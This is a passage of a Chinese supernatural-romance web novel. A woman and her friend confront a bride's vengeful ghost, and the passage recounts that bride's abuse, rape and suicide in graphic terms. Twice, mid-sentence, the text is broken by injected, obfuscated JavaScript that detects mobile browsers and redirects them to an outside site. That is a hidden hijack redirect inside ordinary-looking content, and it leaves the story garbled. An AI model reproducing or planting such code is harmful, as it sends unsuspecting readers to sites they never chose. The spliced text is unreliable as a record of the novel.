“昨晚仪式开始,新娘子穿着凤冠霞帔入场,头上还盖了张红盖头。
走到我身边的时候,我好奇低头从新娘子的盖头下,看了新娘子一眼……
结果我发现,新娘子的眼睛是红的!还会发光。
新娘子瞧了我一眼,朝我露出了一抹特别诡异瘆人的笑……
然后,我脑子就有点迷迷糊糊不清醒了。
幸好冯章看我不对劲,以为我是喝醉了,才亲自开车把我送了回来。
再后来的事,爸你就全知道了。”
“新娘子,就是红煞……红煞,**心啊。”李大叔长叹一口气:“不知道这新娘子生前到底受了多少委屈,死后,竟还怨气不散。”
“新娘子,**?”银杏的反应和刚才的我如出一辙,魂不守舍地后怕道:“我还以为是什么妖物,没想到竟然是阴婚!”
李大叔稳重道:“现在你的一缕魂还在红煞的手里,还是得尽早去把魂拿回来。”
“我的一缕魂在红煞手里?”银杏傻乎乎地低头将自己检查一遍:“我看着,也不像丢了魂啊!”
李大叔心累地敲了她一烟杆:“那是因为,龙仙大人的法力在吊着你的精神,不然你早就瘫在床上起不来了。”
银杏恍然大悟:“这样啊!”
片刻,忽又想到:“对了,我昨天去清河村,听同桌老太太们说,清河村最近两个月总有村民掉魂,不会也和那只红煞有关吧!”
“那你以为!”李大叔放下烟杆沉沉道:“红煞夺魂,见到她的人,都会掉魂。昨天肯定不止你一个人被夺魂,这些魂魄若是送到那条蛇妖手里,不知又能为那只蛇妖增添多少修为。”
说罢,李大叔看向我温和请求:“晚点就麻烦小鸾镜和杏子一起去清河村走一趟了。”
我当即点头答应:“好。”
从李大叔家离开,刚迈上回去的小道,腰就被人从后温柔揽住。
龙仙大人亲昵地将薄唇凑至我耳边,故意调侃:“本尊若是**,定第一个吃掉夫人。”
我哭笑不得地说:“你也太记仇了吧。”
龙仙大人墨眉一挑,青眸熠熠:“本尊还可以再记仇些,和夫人算一算,夫人刚回来那夜甩了本尊一巴掌的账。”
我呛住,“那夜……确实是我不好。可、归根结底本来就是你的错,谁让你从前咬了我一口,害我变得比夜叉还丑。”
“夫人又没见过夜叉,怎么知道自己比夜叉丑?”他轻笑问道,我理直气壮:“村里人都是这么说的!”
他任性承诺:“谁说的,告诉本尊,本尊回头去把他们舌头给拔了!”
“那你的工作量挺大,拔完月阴村就没几个能说话的了。”
“只要夫人开心,本尊拔了她们舌头给夫人做围脖。”他捞着我的腰和我开玩笑。
我受不了地推了他一把:“咦,太恶心了!我不要!”
他一身反骨地再次抱住我,柔声轻哄:“夫人,别生气啊。夫人现在是整个月阴村最美的女人,以后不会再有人敢说夫人丑了。”
我顿了顿:“我、现在真的好看吗?”
他颔首,不假思索便道:“好看,夫人最好看。”
我消沉低头:“我妈说,一个枝头,不能开出两朵美丽的花。”
他捧住我的脸,深情一个吻,落在我唇边:“现在那个枝头上,没有两朵美丽的花了,那个脏东西,还不配与你平分春色。夫人若介怀,本尊去折了她!”
“算了。”我一惊,拉住他的袖子小声说:“等下次她再欺负我,你再折了她。”
他满眼蕴满柔情,笑着问我:“不心软了?”
我脸红回答:“看清了,没必要心软,她都想让我**,再心软就是我脑子有病了。”
他满意揉了揉我的脑袋:“这才对。人生短短几十载,何必处处委曲求全。跟着本尊,本尊就是你手里的剑,指哪捅哪。”
我低头,欣慰笑笑:“嗯,龙仙……”
“你又忘记了,本尊叫青漓。”
“青漓……”
“嗯。”
“那晚上你要跟我一起去清河村吗?”
“阿鸾想本尊陪着么?”
“当然啊,我害怕!”
他摸摸我的脸,温润嗓音似有魔力,灌入耳中撩人心弦:“能为夫人效劳,本尊的荣幸。”
这家伙,说起情话来一套一套的。
——
傍晚,我和银杏借着去找冯章玩的理由又进了冯家,还顺便蹭了他一顿晚饭。
冯家二老认识银杏,可能是因为银杏和冯章年岁相仿,两人又是初中同学,而冯章今年都二十四岁了也没找到媳妇,仍是光棍一条。
所以冯家二老就起了要撮合银杏和冯章的心思,一见银杏过去,端茶倒水盛饭夹菜,热情的简直不像话。
我沾了银杏的光,也得了二老的几分好脸色。
不过二老的重心都放在银杏身上,对银杏嘘寒问暖,还问银杏家里有没有催婚,交没交男朋友,目的不要太明显。
晚饭桌上,二老不停给银杏夹菜,银杏则不停地给我夹肉。
整的二老都不好意思了。
饭吃一半,冯章父亲直接开门见山地问银杏:“银杏丫头啊,你是不是比冯章小一岁来着?年纪也不小了,你爸就不急着抱外孙吗?”
银杏只顾着扒饭狂吃:“哦,我爸比较开明,他和我说姻缘这事不能强求,缘分到了自然就遇见了!”
冯母笑吟吟接上话:
“银杏丫头啊,你是单亲家庭,咱们两个村子离得不远,你的条件我们也清楚……
单亲家庭的姑娘,可不好找对象哦,这嫁人了,可就不能动不动就往娘家跑了,幸好,你爸岁数还不大,身体硬朗着。”
银杏昂头,心直口快地反驳回去:
“为什么嫁人了就不能往娘家跑?嫁人了我爸就不是我爸了吗?我是嫁人了,又不是卖给人贩子了。”
冯母尴尬僵住嘴角笑意:
“大妈的意思是,女孩子家人了,一切要以夫家为主。
你看你嫂子,嫁到咱们家来,天不亮就起床做饭,上午洗衣服,下午去菜园子里劳作,她还是重点大学毕业的高材生呢!
这不,也回归家庭了,学会当人媳妇做贤妻良母了。女孩子啊,出嫁从夫,娘家终究是外人,只有你老公,公婆才是亲人!”
我听着这些惊天言论,默默塞了一嘴青菜。
银杏吃噎着了,着急摸杯子往嘴里灌白开水。
冯父咳了咳,端起一家之主的架子说道:
“你和我们家冯章是老同学,要不然,考虑一下和我家冯章结婚?
你也老大不小了,又是单亲家庭,你爹是干什么的,大家都一清二楚,这附近几个村子都找你爹看过事,说实话,你要想嫁人,真没几个敢娶。
但是我们老冯家不怕啊!我们家也算家大业大,过一阵子家里就要盖别墅,我和冯文两口子商量好了,就盖两栋,宅基地写的是我的名字,盖起来的别墅冯文冯章兄弟俩一人一栋!
只要你嫁过来,立马就能住上大楼房!咱们呢,争取进程快点,最近两个月,就把婚期定好,房子一盖起来,你们就搬进去,你嫁进门就等着享福吧!
我呢,还给你们小两口定了个目标,年底,得怀上,明年我们老两口就能抱上孙子!
孩子生下来,也不用你操心,我和你大娘能帮着带嘛!
你们只负责生,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410584|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩下的,全交给我们老两口!
怎么样,我们冯家对你不赖吧!”
我抬手抹去额角冷汗,银杏被白开水呛住,砸着胸口猛咳好几声,诧异道:“大伯大妈你们在说什么呢?”
冯章那头也尬得面红耳赤:“爸妈,你们别在银杏面前开玩笑了,我们俩只是普通朋友!”
冯父大男子主义的我行我素道:
“结婚这种大事,还是得听从长辈的安排,父母之命媒妁之言,你们小辈不好开的口,我们做父母的给你们安排到位。反正,我们是看中了银杏,我冯家的门楣也不低,娶银杏过门还是绰绰有余!”
到底是谁给冯家老爷子的这份自信,他的研究生儿媳妇么?
冯母在边上附和:
“对啊银杏丫头,只要你嫁过来,我们保证拿你当亲闺女对待。
咱们这都是附近的人,我们和你爹也是多年的老交情了,就算看在你爹的面子上,咱们也不会亏待了你。
何况,你和你嫂子还不一样,你嫂子无父无母是个孤儿,没人教养!你进门,我和你大伯肯定是更疼你!”
这就开始踩一捧一了……呵,果然,太容易得到就不懂得珍惜。
银杏也不和他们多废话,挺直脊背淡定拿出**锏:“啊?原来大娘大伯这么喜欢我啊……可惜了。”
冯母好奇追问:“可惜什么?”
银杏唉声叹气道:“可惜我爸说我命不好,克夫家男丁!和人结婚,不但会克老公克公公,而且还生不出孩子!”
我一口饭呛进嗓子里,捂嘴闷咳。
冯母与冯父瞬间就呆愣住了。
后来,二老果真再没提要银杏嫁给冯章的事了……
不久,二老就脸色不大好地先离席了。
冯章红着脸给银杏道歉:“对不起啊杏子……我爸妈就这样,成天脑子里想的都是娶儿媳妇传宗接代,老一辈的思想都这样,你别见怪。”
银杏大大咧咧道:“没事,能理解。对了,你哥哥嫂子呢?”
冯章无奈道:“在楼上呢……新婚燕尔的,我爸妈让他们多相处。晚饭都是单独盛一份送过去的。”
**笑:“你爸妈可真是盼孙子心切。”
冯章叹气:“谁说不是呢,我爸妈给我哥定的目标更离谱,让他和我嫂子两个月之内必须怀上孩子。人又不是牲口,怎么可能说怀上就能怀上……”
银杏摇头:“这思想,真是没救了。对了,你妹妹呢?怎么今天没见到她?”
冯章道:
“思雨她病了,昨天参加完大哥的婚礼不知怎么的,夜里竟然发起了高烧,上吐下泻的。
妈说可能是在喜宴上吃坏了肚子,得了肠胃炎,就让她老实待在房间里休息,不许她出来冲撞到新人。
老家规矩多,老人们都说新人婚后头一天如果见到病人会妨碍一生健康。”
银杏与我相视一眼,喃喃道:“看来也是落魂了……”
吃完饭,我独自一人去屋后菜园子里洗手。
拧开水龙头,哗哗水流冲在手背上,我刚洗好,腰身就被某人从后温柔揽住……
不用猜就知道是谁。
我扭头要和他说话,却听见冯家二老的声音从墙拐角那头传来——
“好好一个妮子,偏偏是克夫命!她爸亲口说的,准没错,幸好咱们提前问了,要不然娶回来岂不是要害我们老冯家**!”
“我早就劝过你,别打李银杏的主意,撇去她克不克夫不谈,她就是个来历不明的野种!
你忘了他们村的人是怎么说的了吗?她是她爸从外抱回来的孩子,谁知道是私生女还是老李从路边捡的!
老头子,给儿子找媳妇这种事,还得我来!”
“你来?你弄回来的那些女娃,不是长得丑就是没学问!我们家冯章好歹是个大学生,让他娶个文盲像什么话!”
“哎呦,你也不看看咱们这是啥地方,冯章又不能像冯文那样,在外面找个女人带回来!咱们本地的女娃娃就是文盲多嘛!”
“算了,文盲就文盲吧,能生孩子下地干活就行!”
“说起来,今天和李银杏一起来的那个女孩,也不错啊!长得比银杏还秀气点,谈吐举止都挺有礼貌的,看起来像是上过学的,不如……”
“也可以,就是长得漂亮的姑娘,不安分,以后娶进门你得费心教教,磨磨她的性子!”
龙仙大人听得俊脸发青,亲密地将薄唇贴在我耳畔:“这群贪心的狗东西,都敢打本尊夫人的主意了。”
我拍拍他的手背安慰他,随即故意抬高声,装作和银杏说话:
“谁敢看我不顺眼,我妈可是月阴村的族长,我姐姐是圣女,谁惹我我就让我姐姐放蛇咬死他!”
话音落,拐角那头安静了很久……
后来,二老的脚步声匆匆离去,慌张低语:“我的妈呀,她原来就是宋族长的那个小女儿!”
“可不能招惹她们,她妈比老李还玄乎,她姐姐更不是好东西!”
我听人被吓走了,这才轻声和他说:“看吧,这附近的村子,只要听见我妈和花枝的大名就会避之不及,没人敢娶我这个九黎族族长的女儿。”
他挑眉,“本尊敢,况且,你已经是本尊的妻了。”
我拿他没办法地点头:“嗯,青漓说得对。”
从屋后菜园子里绕回门前,我甩了甩手上水渍,正要去找银杏,却陡然听见楼上传来老太太惊恐的惨叫声——
“啊!我的儿啊——”
我闻声惊觉不好,立马快步跑进屋,爬上二楼,与银杏在二楼右侧的房间门口会合……
抬眼望进去,只见屋内血流成河,一名长相普通的成年男人躺在血泊里。
上身衣襟大敞,下身只穿了件内裤,胸口一个血窟窿,里面的心脏已不翼而飞……
男人双目圆瞪,面色灰白,死相极惨,脸上表情似是在生前受了极大的惊吓,整个人呈大字型躺在水泥地面上。
大汩鲜血不断从胸口的血窟窿里涌出来,身下的血水还在越蓄越多。
龙仙大人悄然出现在我身后,抬手捂住我的眼,不让我多看这血腥恐怖的一幕。
银杏诧异道:“被掏心了,身体被掏了个对穿……”
第18章 我家龙仙下手稳准狠!
冯母瘫跪在地,受不住刺激地边哭边唱:
“我的儿啊,你才二十五啊,怎么就舍了娘独自离去了啊……到底是哪个杀千刀的害了你啊!你做鬼也不能放过他啊……”
冯父和冯家小姑子也被冯母这动静给引了过来,冯章是跟着银杏一起来的,见此情景第一时间就去旁边拨打了报警电话。
冯父跑上来老脸煞白地兴师问罪时,冯章也挂断电话迎了过来。
“这、到底发生什么事了!是谁!对我儿子下这么狠的手?!凶手呢,凶手是谁!”冯父激动怒吼着,下意识就将怀疑的目光投在了我和银杏身上。
冯章上前一步护住银杏,努力保持镇定道:“爸,和杏子镜镜两个女孩没有关系,她俩一直在楼下和我一起吃饭,也是刚刚才上来。”
冯父双目浸血的颤抖质问:“那是谁杀了我儿子?啊?!”
冯章悲痛之余不忘逼着自己清醒,猛喘两口气转头询问妹妹冯思雨:“小雨,你和大哥住对门,你刚才有听见什么动静吗?”
冯思雨闻言惊恐摆手:“没,我之前一点响动都没听见!只听见妈上来后的那声惨叫。”
我小心翼翼将龙仙大人的手扒下,视线恢复清明。
冯父大悲之下快步上前,一脚踹倒坐在地上哭的冯母,将气全撒在了自己老伴头上,恼怒逼问:“哭哭哭,出了事就知道哭!我问你,冯文怎么成这样了!是谁下的毒手!”
被踹趴在地的冯母更委屈了,声泪俱下地嚷嚷道:
“我怎么知道啊!我上来就看见冯文倒在地上,心口一个大血窟窿!被剜透了心口,我都没敢过去试他鼻头还有没有气!这个样子,肯定是活不成了……我苦命的儿啊!”
“一个两个一问三不知,要你们有什么用。活生生一个人**在家里还能被捅死,简直是离谱透顶!”冯父悲愤地握拳狠砸墙头。
冯章拦住冯父,含泪劝道:“爸,我已经报警了,只要警察来了,很快就能查出真相!”
身体羸弱的冯思雨环顾一圈,道破重点:“对了,爸妈二哥,大嫂呢!”
众人霎时怔愣住。
——
冯家人终于发现新媳妇丢了,镇上派出所的**也在十五分钟后赶来了冯家。
冯章怕我和银杏染上不必要的麻烦,特意在**进门前,把我们俩从后门送了出去。
但巧的是,我却在后门看见一道直通东南方向的红光痕迹……
像不小心洒落在地的草莓汁,猩红液体泛着点点银光。
我拉住银杏,指着地上的红痕问她:“你看!这红色液体好奇怪,会不会和红煞有关!”
可银杏却不解地皱眉,低头瞪大眼睛仔细看了看地面杂草堆,还用鞋底磨了磨那些怪异的红色液体:“什么液体?地上什么也没有啊!”
我着急拉她蹲下身,指着那滩殷红认真道:“就是这东西啊!你看不见吗?”
银杏一巴掌盖在杂草上,染了一手污红,拿起手掌瞧了半晌,还是疑惑:“啥也没有啊,镜镜你是不是眼花了。”
“可、你整个手掌上,全是那东西啊!”
“我手上什么也没有啊!”银杏说着,还拿手往袖子上擦擦。
我见她一头雾水,现在是真确定了那些红光只有我一人能看到。
我立马攥住银杏的手腕,拉着她沿红光指引的路线往东南方快步赶去:“我应该,知道红煞在什么地方了!”
“啊?”
我和银杏一路小跑,绕过几片农田,最终发现红光消失在村南头一处无人居住、荒废已久的土坯院子门口……
小院砌着土坯墙,破旧的木门上挂着一把上了锈的大铁锁。
院墙里,一树梨花开得白茫茫,正前方堂屋的屋顶都坍塌了一半,到处都散发着一种荒芜森冷的阴寒气息。
种种迹象都表明,这个院子已经很久没有人来过了。
扑面阴风扫得银杏浑身起鸡皮疙瘩,这地方本就偏僻荒凉,又加上天刚黑,外面光线不大好,银杏瑟瑟胆怯地搓着手臂打起了退堂鼓:
“红煞真在这里吗?这院子,还真像闹鬼的地方!要不然,咱们天亮再过来吧,大晚上的也没个灯光,这院门又上了锁,咱们进去也不方便。”
我拽住银杏不许她怂,一板一眼地认真道:
“不行,你忘记来的时候,李大叔怎么说的了?你的魂不能在红煞手里再过夜了,晚一天归体,你就多一分危险!今晚无论如何也要找到红煞把你的魂要回来!”
银杏没骨气的害怕退缩:“可是红煞是鬼,我们是人啊,我俩就这么冲进去找红煞,红煞会吃了咱俩的!”
我坚定道:“我们还有龙仙大人啊!”
银杏干笑两声:“你老公从离开冯家开始,人就不见影子了,现在也不知道跑哪潇洒去了……”
我叹口气,镇定安抚她:“你放心,我家龙仙大人靠谱着呢!需要他的时候,我有办法让他立马出现!”
银杏半信半疑:“真的?”
我拍着胸脯向她保证:“你姐妹我什么时候骗过你?”
银杏考虑了一下,选择相信我。
抬手与我击掌,下定决心道:“好,今晚我们姐妹就夜闯鬼窝,捉拿红煞!”
我:“……”
还捉拿红煞呢,我们能保住自己不被红煞给捉拿了就已经谢天谢地了!
由于院门被人从外上了锁,我们没有工具开锁,想进院子,就只能翻墙。
我身子轻,银杏就在下面给我当起了人墩,等把我送上院墙后,我再趴上墙头,伸手把她也拽上来。
我俩借助院墙边上的梨花树,顺着枝干安稳落地。
院子里由于多年无人居住打理,青石缝里生满了杂草。
地面零落着跌落屋檐的老瓦碎片,我掏出手机打开手电筒光,牵着银杏艰难踩着荒草往堂屋门口走。
好在堂屋的门没上锁,两扇歪斜的木门半敞着。
我深呼吸,鼓起勇气,抬手把堂屋门咯吱推开——
手电筒光照进去,屋内只有一张老旧的大桌子,一副多年前的供神条案,案上摆着观音菩萨的神像。
菩萨闭眼,佛衣落满灰尘。
灯光往墙上打去,陡然照见一张慈眉善目的老爷子遗像……
银杏这个怂包被吓得一口气没上来,转头就要跑。
幸亏我抢先一步抓住了她的胳膊,不由分说就带她抬脚迈进门槛——
而怪异的是,我俩双脚刚迈进门槛,屋里的一切就瞬间变了模样……
原本破旧的土坯房,却仿佛刹那换了个世界!
红光在眼前乍散开,一晃神,屋里红纱摇曳,贴上喜字的红灯高挂,墙上遗像变花鹊贺喜图,桌上观音神像化作龙凤高烛……
屋子空间比先前大了三四倍,墙角有人对镜描眉。
红纱后烛光摇曳,女人端坐梳妆台前,纤纤玉手拾起桌上一枚金色花簪插入乌色云髻——
我与银杏皆是打起十二分精神,提起警惕凝望着菱花镜前那抹身着红嫁衣的纤瘦身影。
女人用指腹抹了一把精致瓷盒内的红胭脂,抬指匀胭脂的那瞬间,一点红光从女人朱唇边飞了出来,飘进半空,如一滴水落进池塘,激开层层涟漪……
红光在空中化成一面水镜,而水镜里重现的——是红煞与冯文的过往!
时间线从红煞与冯文大学毕业那年切入,年轻且意气风发的冯文在大四谢师宴后,手捧九十九朵玫瑰花,当着同班师友的面向红煞单膝跪地求婚:
“娇娇,感谢你陪我一起走过四年的风风雨雨,成为我大学时光最绚丽的那道彩虹!四年,一千两百个日夜,我们朝夕相处,心意相通。
最艰难的时候,我们一起吃袋装泡面啃馒头,连瓶矿泉水都舍不得喝,每天都只能用自来水做饭!
那会子我就向你承诺过,等我熬过难关,我就给你买九十九朵玫瑰花,向你求婚!
现在我有了工作,月收入也十分可观,虽然每月攒不下来几个钱,但维持日常开销,完全绰绰有余!
我现在虽然还没钱给你买大房子,但我在市区租了一栋九十平方的大平层,还有个大院子。
你不是总梦想未来能有个属于自己的小院子种花种草吗?娇娇,嫁给我,整个院子都是你的,你想种什么就种什么!”
说着,男人又从口袋里掏出一枚百元红钞折成的戒指,递给女友:
“娇娇,钻戒什么的,我嫌庸俗,这枚戒指是我亲手折的,里面有我对你深深的爱。戴上这枚戒指,我们订婚,好不好?”
话音落,女孩愣在现场。
两人的恩师同学们也都面面相觑,目露尴尬。
男人并未留意到师友们脸上的异样神色,只沉浸在自己的世界里继续两眼放光的自我感动:
“娇娇,放心把自己交给我,以后,你负责貌美如花,我负责赚钱养家!”
女孩面红耳赤地迟疑许久,才鼓足勇气抬眸朝他说出实情:
“阿文哥,我、不能和你一起去做销售了,我、考上了研究生,录取通知书已经下来了,下个月中旬就要去报到了……”
“什么?!”鲜花从男人手中滑落,掉在地上,男人不可思议地站起身,满眼不甘与愠怒:“你考上了?什么时候的事?为什么没有提前告诉我!你、竟然考上了?!”
旁边的同学们赶忙帮女孩说话:
“许娇是我们系这一届唯一一名考上国家重点大学研究生的学生,我们都知道你们小两口感情好,反正许娇读研的地方离咱们这不远,都在一个省,坐高铁两个小时就到了,你要是想她了,现在交通这么方便,随时都可以去看她!”
“就是啊,许娇同学学习好,又有上进心,她能考上研究生,你不替她开心吗?”
“读了研究生,再步入社会,与我们这些普通二本大学生之间的距离瞬间就拉开了!到时候,说不准许娇同学一毕业,就直接被科研公司挖过去做高管了呢!”
“冯文兄弟,我要是有个考上研究生的女友,我会觉得脸上倍有光,这以后带回家见父母,也特别有面子好不好!不过,我看你现在的表情,怎么一点也不开心……冯文,你小子该不会是嫉妒你女朋友吧!”
冯文皮笑肉不笑的虚伪牵住许娇手,矢口否认:“呵呵,哪有,你就知道胡说八道!我媳妇考上研究生了,当然是好事!”
缓了缓,满眼深情地注视着许娇,温柔给她撩开鬓角碎发,体贴道:“既然考上了,那我们结婚的事就再往后推推,没关系娇娇,我们不着急,我等你。”
许娇闻言感动地昂头,傻傻湿了眼眶:“阿文哥……”
然而,冯文嘴上说着不着急,愿意等许娇,可却在送许娇去新学校报到的前一晚,软磨硬泡逼着许娇写下读研三年绝不出轨、绝不背着他与别的男人交往过密的保证书——
“宝贝儿,以后你可就是研究生硕士了,我却还是个上不得台面的二本大学生,都说,女朋友升学就变心,我们在一起四年从没分开过,你这突然要去外地上学,把我留在本地工作,我的心里,总是不踏实……”
“这个保证书,就当是你给我的心理安慰了,以后我没有安全感的时候,把你的保证书拿出来看看,就不会再胡思乱想了。”
“宝贝儿,我又不会真把你的保证书公布在网上,只要你做到了对老公一心一意,老公怎么可能把自家媳妇写的保证书挂在网上呢!”
“只要你不出轨,这就是张废纸……不,这是独属你我的小情趣。”
冯文的花言巧语最终还是哄骗了许娇亲手写下那一纸荒唐的保证书——
许娇读研三年,冯文几乎每天都来查许娇的岗,一天一个电话,不分场合,不分时间的突击检查。
有时是在许娇上课的时候查岗,有时,是在深更半夜。
只要许娇晚接电话几秒,或者不小心错过了他一个电话,都会被他不分青红皂白的猜忌与吼骂。
这些,许娇都忍了。
研究生毕业那年,有科研公司高薪挖许娇过去工作。
冯文得知这个消息,坐在酒店的阳台上,翘着二郎腿指间夹烟吞云吐雾,用着高高在上的语气问许娇:“一定要去吗?”
许娇低头心虚道:“年薪八十万……我想,去干一年,就能在郊区卖套小房子,咱俩就不用再租房了。还可以攒点钱,好回老家结婚。”
冯文听到‘结婚’这两个字眼,掸烟灰的动作一顿,片刻,将烟头按灭在烟灰缸里:“嗯,你想去工作,我可以不反对,但是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415659|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你得答应我,年底咱们就结婚。”
许娇犹豫了一下,抬眸撞上冯文阴沉的脸色,怯怯点头:“好,我答应你……这些年,终归是我对不起你。”
那夜,两人在酒店里度过了一个美好缠绵的夜晚——
为了向冯文证明自己的真心,许娇入职科研公司后,每个月的工资都会按时上交给冯文一半。
此举令冯文颇为欣慰,渐渐地,便也对许娇放下了心。
不久,冯文跳槽到许娇所在城市的房地产公司工作,用许娇给的钱买了辆二十万的小车,偶尔还会去许娇的公司楼下接许娇下班。
两人也算甜甜蜜蜜过了两三个月的幸福生活……
直到,三个月后,许娇与自己的男同事一起去京城出差。
到地见客户的当晚,男同事与许娇都喝醉了酒,而男同事之前就对许娇有想法,那夜便借着酒劲钻进了许娇的房间,与许娇发生了关系……
许娇酒醒后第一时间就报了警,可由于男同事家庭背景不一般,警方当天只简单给两人做了个笔录,晚上就把男同事给放了出来。
许娇不甘心被人这么欺负,回去后又把此事告诉了公司老板,可老板却劝许娇息事宁人……
毕竟男同事的父亲不好惹,闹大了,许娇自己反而会吃不了兜着走。
自己被人算计失了身,许娇根本不敢告诉冯文,回到家后只好谎称一路顺利没有意外。
可看着冯文待自己越来越体贴,痛经时会为她冲红糖水,她感冒发烧,冯文会深更半夜跑去药房给她买药。
冯文为她做得越多,她心里对冯文的愧疚,就越深。
终于,在年底冯文打算带她回清河村见父母时,她实在愧疚的厉害,没忍住就哭着把自己被男同事**的事告诉了冯文……
当时的冯文并没有生气责备她,反而抱着她说尽心疼人的好话。
这也让她更加坚信冯文就是自己要相守一生的良人。
由于男同事的家庭背景过于强大,且男同事的父亲正好是当地住建局局长,冯文根本不敢报复男同事,只能将这个气默默咽下肚子。
但,事后的冯文越想越气,甚至工作稍有不顺心,就开始对许娇打骂撒气……
而家暴这种事,向来只有零次和无数次……
短短两个月,许娇被打进医院四回,最厉害的那一回,肋骨都被打断了。
最后一次,冯文因为请住建局局长吃饭,被局长当面批评他做事不严谨,都是表面功夫,觉得局长让他没面子了,便索性将气全撒在许娇身上——
“你说你是受害者?呸!你要是不在公司勾引人家,人家会对你起那种心思?你就是贱,就是浪,你觉得我没有人家有钱,觉得我没人家有势力,你就想往人家床上爬!
什么**,你情我愿的事,怎么能算**呢!他要是真**你了,警察怎么可能当天就把他放了?!说不准你们俩早就勾搭上了,都背着我睡了不知道多少次呢!”
冯文拽着许娇的头发,将许娇从卧室拖至阳台上,一脚狠狠踹在许娇的腹部,抄起旁边的晾衣杆就往许娇旧伤未愈的胳膊上抽……
许娇哭着蜷缩在阳台墙角,嘶声委屈争辩:“我没有!我没勾引他,是他喝醉酒闯进了我的房间,是他强迫的我!”
冯文气急败坏的一脚踹在许娇脸上:“呵呸,臭**!骗谁呢!他喝醉酒闯进你的房间,你是**吗?你不会反抗,不会叫人?”
“那时我也喝醉了,迷迷糊糊的……我根本什么都不知道……”
“说到底还是你贱!”
“阿文哥,你不是说过,你不在意吗?你之前不是承诺过,以后咱们就当这件事没发生吗?你骗我,你根本不是不在意,你恨我,你时时刻刻都想弄死我!
你嫌我脏……既然这样,你为什么当时不说!我真后悔,告诉你这件事,我分明可以瞒你一辈子的……”
冯文蹲下身,面目狰狞地一把薅住许娇的头发,迫使她昂起满面泪光的脸,冷笑道:
“不在意?当这件事没发生?呵,你有脸做,却没胆子承认了?我告诉你,你的确错了,你当初就不该把你被**这件事说出来,没有男人会不在意这种事,我的头上,也戴不起这顶绿帽子!”
用力甩开许娇,冯文一口吐沫啐在许娇脸上,羞辱道:
“分手?要不是看在你能赚钱,对我百依百顺,还算老实听话的份上,谁稀罕要你这个破鞋啊!你啊,这辈子,就老老实实待在我身边吧,除了我,没人会要你这个**!”
冯文骂完便拍拍手摔门离开了家……
而许娇,却魂不守舍地踉跄站起身,靠着阳台玻璃痛苦冷笑。
随即爬上阳台,纵身跳了下去……
红煞,是**而亡。
半空中的水镜还在重复播放着冯文与许娇的过往……
蓦然抬头,眼前却变了场景——
喜匾高挂的正堂内,龙凤双烛端放条案两侧,案上放着四盘坚果——干枣、花生、桂圆、莲子……
果盘上方,搭着白纸剪出的双喜。
我此刻,却不知何时被换上一件金线密绣凤羽纹的大红嫁衣,头上戴着沉重的凤冠,手里牵着红色喜绸。
我的身侧,则站着一个仿照冯文模样扎出来的红衣纸人!
我想扔掉喜绸逃命,可身体竟被红煞控制了住,四肢根本不听使唤,伴随着头顶一道苍老的唱和声,与纸人一起弯腰——
“一拜天地!”
红煞真是疯了,自己倒霉撞见冯文那个烂人,竟还想让别的女生重复她的悲剧,和她一样嫁给冯文那个渣男!
“二拜高堂——”
我咬牙拼命反抗,可身体,还是僵硬的、缓缓弯下……
凤冠的步摇在鬓边叮当作响,我攥紧双手,牙关紧咬扯着太阳穴突突直跳……
不能再拜了!
指尖嵌入掌心,我闭上眼睛,心中急切呼唤:“阿漓,救我,阿漓——”
“夫妻……”
苍老的唱和声还没喊完,就被耳畔一声**巨响给陡然打断了——
身子一松,红煞控制我的力量瞬间消失。
我扔下喜绸仓皇转头,才发现是和我拜堂的纸人被炸成碎片了……
嚯,我家龙仙下手就是稳准狠!
第19章 你不能生,我不嘲笑你
只是,不等我回过神。
眼前画面就又一猛转——
这次,换成了红纱遍地的诡异灵堂。
灵堂正前方的墙上挂着喜绸与大红纸花。
纸花中央,是一个大大的黑色‘奠’字。
堂上高燃的对烛也换成了雕成童男童女状的白蜡……
烛火盈盈摇曳,漫天黄纸冥钱飘扬。
正堂内摆着一副黑色棺木,棺木用两条红漆长凳支起。
而我和银杏,成了棺木旁的提灯纸人玉女。
阴风扫进门,白色冥钱沙沙卷起,簌簌而落。
门外白光拉长了龙仙大人进门的身影,我看见龙仙大人逆光行来的轮廓,心下激动,想要开口呼唤,却被封死在纸人体内,被宣纸糊住了嘴……
我立在棺前动弹不得,只能暗暗祈祷龙仙大人能慧眼认出我,带我逃出这个瘆人的鬼地方。
可,让我没想到的是,垂拂的红纱后竟跑出了一个和我长相一模一样,身穿嫁衣,头戴金凤冠的女子——
女子着急扑进龙仙大人怀里,蜷缩在龙仙大人胸口瑟瑟发抖:“我、害怕,带我走好不好?”
连说话的声音都和我如出一辙!
我心急如焚地攥着灯笼杆,一遍又一遍地在心里默念:“阿漓,别信她,别信她……”
龙仙大人怔了怔,抬手欲拥住那女子……
但,倏然眸中一黯,脸色阴冷地一把扼住女人脖颈,眼底寒光毕现。
攥着女人脖子单手便将女人原地提了起来,凛声道:“你装的,一点也不像!”
女人脸上的幻术在龙仙大人掌中法力的压迫下迅速现了原貌,变回去的那张脸,是许娇……
许娇双手死死攥在龙仙大人的胳膊上,晃动离地的脚尖,手指拼命去掰龙仙大人扼在自己脖子上的修长玉指,痛苦喘息着,不可置信的沙哑吼道:
“不、不可能!还从没有、男人,识破我的变幻术……我明明、就是仿着你心爱女人的模样、变的……连身上气息、都完全复制。为、为什么……你还是能、认出来!”
